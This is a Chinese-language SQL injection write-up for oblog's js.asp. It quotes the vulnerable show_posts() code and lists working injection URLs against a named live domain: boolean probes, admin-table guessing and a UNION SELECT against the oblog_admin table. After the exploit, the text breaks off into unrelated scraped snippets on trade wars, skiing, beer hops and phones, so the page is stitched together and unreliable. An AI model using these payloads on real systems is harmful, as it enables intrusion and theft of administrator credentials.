漏洞文件:js.asp
<%
Dim oblog
set oblog=new class_sys
oblog.autoupdate=False
oblog.start
dim js_blogurl,n
js_blogurl=Trim(oblog.CacheConfig(3))
n=CInt(Request(”n”))
if n=0 then n=1
select case CInt(Request(”j”))
case 1
call tongji()
case 2
call topuser()
case 3
call adduser()
case 4
call listclass()
case 5
call showusertype()
case 6
call listbestblog()
case 7
call showlogin()
case 8
call showplace()
case 9
call showphoto()
case 10
call showblogstars()
Case 11
Call show_hotblog()
Case 12
Call show_teams()
Case 13
Call show_posts()
Case 14
Call show_hottag()
case 0
call showlog()
end select
****************省略部分代码******************
Sub show_posts()
Dim teamid,postnum,l,u,t
teamid=Request(”tid”)
postnum=n
l=CInt(Request(”l”))
u=CInt(Request(”u”))
t=CInt(Request(”t”))
Dim rs,sql,sRet,sAddon
Sql=”select Top ” & postnum & ” teamid,postid,topic,addtime,author,userid From oblog_teampost Where idepth=0 and isdel=0 ”
If teamid<>“” And teamid<>“0″ Then
teamid=Replace(teamid,”|”,”,”)
Sql=Sql & ” And teamid In (” & teamid & “) ”
End If
Sql=Sql & ” order by postid Desc”
Set rs=oblog.Execute(Sql)
sRet=”
”
Do While Not rs.Eof
sAddon=”"
* sRet=sRet & “ ” & oblog.Filt_html(Left(rs(2),l)) & “”
If u=1 Then sAddon=rs(4)
if t=1 Then
If sAddon<>“” Then sAddon=sAddon & “,”
sAddon=sAddon & rs(3)
End If
If sAddon<>“” Then sAddon=”(” & sAddon & “)”
sRet=sRet & sAddon & “
”
rs.Movenext
Loop
Set rs = Nothing
sRet=sRet & “
”
Response.write oblog.htm2js (sRet,True)
End Sub
调用show_posts()过程必须要符合上面的参数n=1,j=13
(” & teamid & “)
http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1
http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1) and 1=1 and (1=1 返回正常
http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1) and 1=1 and (1=2 返回异常
猜管理员表名
http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1) and 查询语句 and (1=1
Sql=”select Top ” & postnum & ” teamid,postid,topic,addtime,author,userid From oblog_teampost Where idepth=0 and isdel=0 ”
http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1) and 1=2 union select 1,2,3,4,5,6 from oblog_admin where id=(1
document.write('
图片来源:https://pixabay.com/photo-2922045/...
本文目录一览: 1、中美贸易战的内容 2、什么叫“超限战”? 3、中国历史上与中美贸易战类似的事件有吗 中美贸易战的内容 此次“贸易战”或“贸易摩擦”大致包含两个部分。第一、围绕“232调查...
软件版本:软件大小:软件授权:适用平台:http://dl.pconline.com.cn/download/554462.html现在大多数的无线路由器都支持设置向导功能,那么对于网络新手来说,使用...
“我是谷爱凌,一个热爱滑雪的女孩,滑雪赋予了我力量。我很骄傲能够在三年后代表中国征战北京2022年冬季奥运会。”2019年,谷爱凌在个人社交媒体上正式宣告她加入中国国家队,同年,谷爱凌签约中国运动领导...
酒花,又称忽布(hop)、啤酒花,誉为“啤酒的灵魂”,成为啤酒酿造不可缺少的原料之一,使啤酒具有独特的苦味和香气并有防腐和澄清麦芽汁的能力。啤酒花始用于1079年,德国人首先在酿制啤酒时添加...
从今年下半年刚开始,各种手机制造商发布的主推新手机大多数刚开始选用金属材料外壳,但是现阶段销售市场上除开iPhone、HTC、OPPO好多个知名品牌发布的一部分金属材料手机上外型非常漂亮外,别的生产商...